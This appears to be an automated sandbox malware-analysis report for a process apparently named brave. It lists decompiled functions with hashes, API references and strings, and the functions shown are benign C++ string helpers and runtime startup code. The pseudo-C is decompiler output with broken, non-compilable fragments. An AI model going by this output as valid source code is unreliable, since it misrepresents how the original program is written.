Instruction ID: 851743a26f2827f3c2bfbe344062287ccfcc809f4f643d99774bb8ca94cb6eb3
Opcode Fuzzy Hash: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction Fuzzy Hash: E041E3A3B0968A81DB10DB19E8489792364EB55BC8F964132DE7D877D2FE2CD241C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E7CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4E7CE0(intOrPtr* __r8, void* __r9, intOrPtr _a40) {
				void* _t8;
				void* _t22;
				intOrPtr* _t25;
				char* _t27;
				int _t28;
				int _t30;
				intOrPtr _t40;
				void* _t47;
				intOrPtr _t49;

				_t40 =  *((intOrPtr*)( *__r8 - 0x18));
				_t47 =  >  ? _a40 : _t40 - __r9;
				if (__r9 - _t40 > 0) goto 0xfc4e7d12;
				goto 0xfc4e7b40;
				_t27 = "basic_string::insert";
				_t25 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
				E00007FF67FF6FC4F1250(_t8, __r9 - _t40, __r9, _t25, _t27, __r9,  *__r8 + __r9);
				_t49 =  *((intOrPtr*)( *_t25 - 0x18));
				if (_t27 - _t49 > 0) goto 0xfc4e7db0;
				if (__r9 - 0xfffffff9 - _t49 > 0) goto 0xfc4e7dc6;
				r8d = 0;
				E00007FF67FF6FC4E8580(_t25, _t27, __r9, __r9);
				if (__r9 == 0) goto 0xfc4e7d8c;
				if (__r9 == 1) goto 0xfc4e7da0;
				return memset(_t22, _t30, _t28);
			}

0x7ff6fc4e7cec
0x7ff6fc4e7cfc
0x7ff6fc4e7d03
0x7ff6fc4e7d0d
0x7ff6fc4e7d15
0x7ff6fc4e7d1f
0x7ff6fc4e7d26
0x7ff6fc4e7d3f
0x7ff6fc4e7d4f
0x7ff6fc4e7d61
0x7ff6fc4e7d66
0x7ff6fc4e7d69
0x7ff6fc4e7d71
0x7ff6fc4e7d7e
0x7ff6fc4e7d98

APIs

memset.MSVCRT ref: 00007FF6FC4E7D87

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E7D1F, 00007FF6FC4E7DB3
basic_string::insert, xrefs: 00007FF6FC4E7D15, 00007FF6FC4E7DBA
basic_string::_M_replace_aux, xrefs: 00007FF6FC4E7DC6

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 2221118986-1339558951
Opcode ID: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction ID: 3fe6b1e43e6208176fc90734e9601af1fcb6cb3df6e6c4a491458802881a4d37
Opcode Fuzzy Hash: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction Fuzzy Hash: C231B266F0564A45EB50DB5AF8418E86390AB89BF8F994931DF2C837D1FD3CEA81C344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F0C80 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6FC4F0C92
memcpy.MSVCRT ref: 00007FF6FC4F0CE4
memcpy.MSVCRT ref: 00007FF6FC4F0D94

Strings

basic_string::append, xrefs: 00007FF6FC4F0D3A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction ID: 4867248145355c97e3a5f31c58a0f06ab41fcc122813cf150de9ec7795f5713e
Opcode Fuzzy Hash: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction Fuzzy Hash: 4D31AFA2B19A5584EB14DB25E4185BE2361FB85BC8F998532EE6D873D1FF3CE641C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F18C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,FFFFFFFF,00007FF6FC4E7139,?,?,FFFFFFFF,00007FF6FC4E6BB5,?,00000000,basic_string::_M_create,00007FF6FC4EA151), ref: 00007FF6FC4F18D4

Part of subcall function 00007FF6FC4F19A0: malloc.MSVCRT(?,?,?,?,00007FF6FC4F23B5,?,?,?,?,00007FF6FC4C3C24), ref: 00007FF6FC4F19B1

malloc.MSVCRT(?,?,?,?,?,?,?,00007FF6FC4E7139,?,?,FFFFFFFF,00007FF6FC4E6BB5,?,00000000,basic_string::_M_create,00007FF6FC4EA151), ref: 00007FF6FC4F193A

Strings

basic_string::_M_create, xrefs: 00007FF6FC4F19A0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID: basic_string::_M_create
API String ID: 2803490479-3122258987
Opcode ID: bd2b9496211699472748cb413ee8b9e6de8c3115e01d600241e6816aea83f02b
Instruction ID: 77eaa16602bc68871da02eb90c66085682e360ad60d6d0f366a1f947957db226
Opcode Fuzzy Hash: bd2b9496211699472748cb413ee8b9e6de8c3115e01d600241e6816aea83f02b
Instruction Fuzzy Hash: C321D321B0674A89FF58A765B5123F822A0AF487A8F984634CE3D873C2FF3C6245C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EDC10 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 102stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6FC4EDC22
memcpy.MSVCRT ref: 00007FF6FC4EDC72
memcpy.MSVCRT ref: 00007FF6FC4EDD21

Strings

basic_string::append, xrefs: 00007FF6FC4EDCCD

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction ID: 7769235ae452ac86dfa71c3af8f2de327bdfaea075c192b149afb7df8b0f43a6
Opcode Fuzzy Hash: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction Fuzzy Hash: C831C6A3B09A8985DB14CB15E4589793364FB46BD8F8A4532EE7D873C2FE6CD641C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E8580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF67FF6FC4E8580(long long* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _v73;
				void* _t16;
				intOrPtr _t23;
				intOrPtr _t24;
				long long* _t25;
				long long _t37;
				intOrPtr _t38;
				long long _t45;

				_t23 =  *((intOrPtr*)(__rcx));
				_t38 =  *((intOrPtr*)(_t23 - 0x18));
				_t25 = __rcx;
				_t37 = __r9 - __r8 + _t38;
				if (_t37 -  *((intOrPtr*)(_t23 - 0x10)) > 0) goto 0xfc4e85cb;
				if ( *((intOrPtr*)(_t23 - 8)) <= 0) goto 0xfc4e8660;
				_t24 =  *((intOrPtr*)(__rcx));
				E00007FF67FF6FC4E70D0(_t16, _t37,  *((intOrPtr*)(_t24 - 0x10)));
				if (__rdx == 0) goto 0xfc4e8600;
				_t8 = _t24 + 0x18; // 0x18
				_t45 = _t8;
				if (__rdx == 1) goto 0xfc4e86a0;
				memcpy(??, ??, ??);
				if (_t38 - __r8 + __rdx != 0) goto 0xfc4e8640;
				asm("lock xadd [ecx-0x8], eax");
				if (0xffffffff <= 0) goto 0xfc4e8690;
				 *_t25 = _t45;
				 *((intOrPtr*)(_t45 - 8)) = 0;
				 *((long long*)(_t45 - 0x18)) = _t37;
				 *((char*)(_t45 + _t37)) = 0;
				return 0xffffffff;
			}

0x7ff6fc4e8590
0x7ff6fc4e8593
0x7ff6fc4e85a8
0x7ff6fc4e85ae
0x7ff6fc4e85b7
0x7ff6fc4e85be
0x7ff6fc4e85c4
0x7ff6fc4e85d3
0x7ff6fc4e85e2
0x7ff6fc4e85e7
0x7ff6fc4e85e7
0x7ff6fc4e85ef
0x7ff6fc4e85fb
0x7ff6fc4e8603
0x7ff6fc4e860d
0x7ff6fc4e8614
0x7ff6fc4e8616
0x7ff6fc4e8619
0x7ff6fc4e8622
0x7ff6fc4e8627
0x7ff6fc4e863c

APIs

memcpy.MSVCRT ref: 00007FF6FC4E85FB
memcpy.MSVCRT ref: 00007FF6FC4E8681

Strings

basic_string::_M_create, xrefs: 00007FF6FC4E8586

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction ID: 6f9945645e160ef84193952448e4057d83242d510cfa688aa7268ac1baeb268b
Opcode Fuzzy Hash: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction Fuzzy Hash: 5231B262B0998699EF11DF3DA40857D27606B51FCCF5A4132DE2C873D2EE2CD645C341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E7770 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF6FC4E7770(long long* __rcx, void* __rdx, void* __r8) {
				intOrPtr _t15;
				void* _t18;

				_t15 =  *((intOrPtr*)(__rcx));
				_t18 = __r8;
				if (__r8 - 0xfffffff9 > 0) goto 0xfc4e7885;
				if (_t15 - __rdx > 0) goto 0xfc4e77c0;
				if (_t15 +  *((intOrPtr*)(_t15 - 0x18)) - __rdx < 0) goto 0xfc4e77c0;
				if ( *((intOrPtr*)(_t15 - 8)) <= 0) goto 0xfc4e77f8;
				E00007FF67FF6FC4E8580(__rcx, _t15 +  *((intOrPtr*)(_t15 - 0x18)),  *((intOrPtr*)( *((intOrPtr*)(__rcx)) - 0x18)), __r8);
				if (_t18 == 0) goto 0xfc4e77e7;
				if (_t18 == 1) goto 0xfc4e7840;
				return memcpy(??, ??, ??);
			}

0x7ff6fc4e7779
0x7ff6fc4e777f
0x7ff6fc4e7796
0x7ff6fc4e779f
0x7ff6fc4e77a8
0x7ff6fc4e77af
0x7ff6fc4e77c8
0x7ff6fc4e77d0
0x7ff6fc4e77da
0x7ff6fc4e77f3

APIs

memcpy.MSVCRT ref: 00007FF6FC4E77E2
memcpy.MSVCRT ref: 00007FF6FC4E781C

Strings

basic_string::assign, xrefs: 00007FF6FC4E7885

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::assign
API String ID: 3510742995-2385367300
Opcode ID: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction ID: 11b7f59592149b14f1f5bd4c1a6edb2ec1524ad5b11aec03f7f6adc763898820
Opcode Fuzzy Hash: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction Fuzzy Hash: E431BF66B4968584EF11CB16E4041B96790FB5ABECF894436DE2DCB3D1FE2CE640C344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E17C0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6FC4E181A
MultiByteToWideChar.KERNEL32 ref: 00007FF6FC4E185A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction ID: 0f1d60a08914255853261bc6fd7b88de1a29af1076ab2e35f999dd094dc72d1b
Opcode Fuzzy Hash: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction Fuzzy Hash: 5131A672A4C28186E360CB25B4007AD76A0FB95798F558235DAA8C7BD6EF3DD685CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D3E60 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FC4D3E7D
GetProcessAffinityMask.KERNEL32 ref: 00007FF6FC4D3E8C
GetCurrentProcess.KERNEL32 ref: 00007FF6FC4D3ED2
SetProcessAffinityMask.KERNEL32 ref: 00007FF6FC4D3EDA

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction ID: 47a26ca2f36740e2c3bc3d02d2253933a736d8f7c2d9a33d44211fb282260d5b
Opcode Fuzzy Hash: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction Fuzzy Hash: 7E01D421B0860641EB216B25790476B97A1BB8478DF442035DF5D833D0FE7CEA45C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE830 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE830(void* __eax) {
				intOrPtr _t4;

				_t4 =  *0xfc7810f0; // 0x1
				if (_t4 == 0) goto 0xfc4ce860;
				return __eax;
			}

0x7ff6fc4ce845
0x7ff6fc4ce84d
0x7ff6fc4ce85f

APIs

VirtualProtect.KERNEL32(00007FF6FC781098,00007FFC2FC93CA0,?,?,?,00000001,00007FF6FC4C1261), ref: 00007FF6FC4CE9D5

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF6FC4CEAA1
Unknown pseudo relocation bit size %d., xrefs: 00007FF6FC4CEA95

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction ID: e2a4b14b821b4117d9b4f27f9b260b4c4c7e2481481ec7c3766f03ef4bab027c
Opcode Fuzzy Hash: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction Fuzzy Hash: 4661BE62F0864286EB20CF11B8801797761BB56B98F148235DE7DA73E8EF3CE649C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D1110 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF67FF6FC4D1110(void* __rcx) {
				void* _t29;
				intOrPtr _t39;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				void* _t68;
				void* _t76;
				intOrPtr* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				void* _t89;

				if (__rcx == 0) goto 0xfc4d1310;
				_t80 =  *0xfc776920; // 0x7ff6fc781400
				_t52 =  *_t80;
				if (_t52 == 0) goto 0xfc4d11f8;
				if ( *((long long*)(_t52 + 0x90)) != 0) goto 0xfc4d1220;
				 *((long long*)(_t52 + 0x90)) = 0xfc772bc0;
				E00007FF67FF6FC4D8830(0xfc772bc0, _t76);
				_t53 =  *_t80;
				if (_t53 == 0) goto 0xfc4d1238;
				if ( *((long long*)(_t53 + 0x88)) == 0) goto 0xfc4d1260;
				_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t53 + 0x88))));
				if (__rcx == _t55) goto 0xfc4d1348;
				if (_t55 == 0) goto 0xfc4d1348;
				_t56 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t56 == 0) goto 0xfc4d1320;
				if (__rcx != _t56) goto 0xfc4d1190;
				_t39 = _t56;
				if (_t39 == 0) goto 0xfc4d1320;
				 *((intOrPtr*)(__rcx + 0x10)) =  *((intOrPtr*)(__rcx + 0x10)) - 1;
				if (_t39 == 0) goto 0xfc4d12b8;
				_t57 =  *_t80;
				if (_t57 == 0) goto 0xfc4d1280;
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0xfc4d1299;
				if (_t57 == 0) goto 0xfc4d134f;
				_pop(_t81);
				goto E00007FF67FF6FC4D8870;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0xfc4d1145;
				if ( *_t81 != 0) goto 0xfc4d1220;
				E00007FF67FF6FC4D7060();
				E00007FF67FF6FC4D8830( *((intOrPtr*)( *_t81 + 0x90)), _t76);
				_t59 =  *_t81;
				if (_t59 != 0) goto 0xfc4d1164;
				E00007FF67FF6FC4D7060();
				_t60 =  *_t81;
				if ( *((long long*)(_t59 + 0x88)) == 0) goto 0xfc4d1260;
				if (_t60 != 0) goto 0xfc4d1172;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d1172;
				 *((long long*)(_t60 + 0x88)) = 0xfc781388;
				goto 0xfc4d1179;
				asm("o16 nop [cs:eax+eax]");
				E00007FF67FF6FC4D7060();
				if ( *0x7FF6FC781418 != 0) goto 0xfc4d11d4;
				 *((long long*)( *_t81 + 0x90)) = 0xfc772bc0;
				_pop(_t68);
				_pop(_t82);
				_pop(_t89);
				goto E00007FF67FF6FC4D8870;
				_t16 = _t89 + 8; // 0x8
				_t29 = E00007FF67FF6FC4D09D0(_t16);
				if (_t68 == 0) goto 0xfc4d12dd;
				 *((long long*)(_t68 + 0x18)) =  *((intOrPtr*)(_t89 + 0x18));
				free(??);
				goto 0xfc4d11ba;
				_t64 =  *_t82;
				if (_t64 == 0) goto 0xfc4d1359;
				if ( *((long long*)(_t64 + 0x88)) != 0) goto 0xfc4d1378;
				 *((long long*)(_t64 + 0x88)) = 0xfc781388;
				 *0xfc781388 =  *((intOrPtr*)(_t89 + 0x18));
				goto 0xfc4d12d0;
				return _t29;
			}

0x7ff6fc4d111e
0x7ff6fc4d1124
0x7ff6fc4d112b
0x7ff6fc4d1131
0x7ff6fc4d113f
0x7ff6fc4d114c
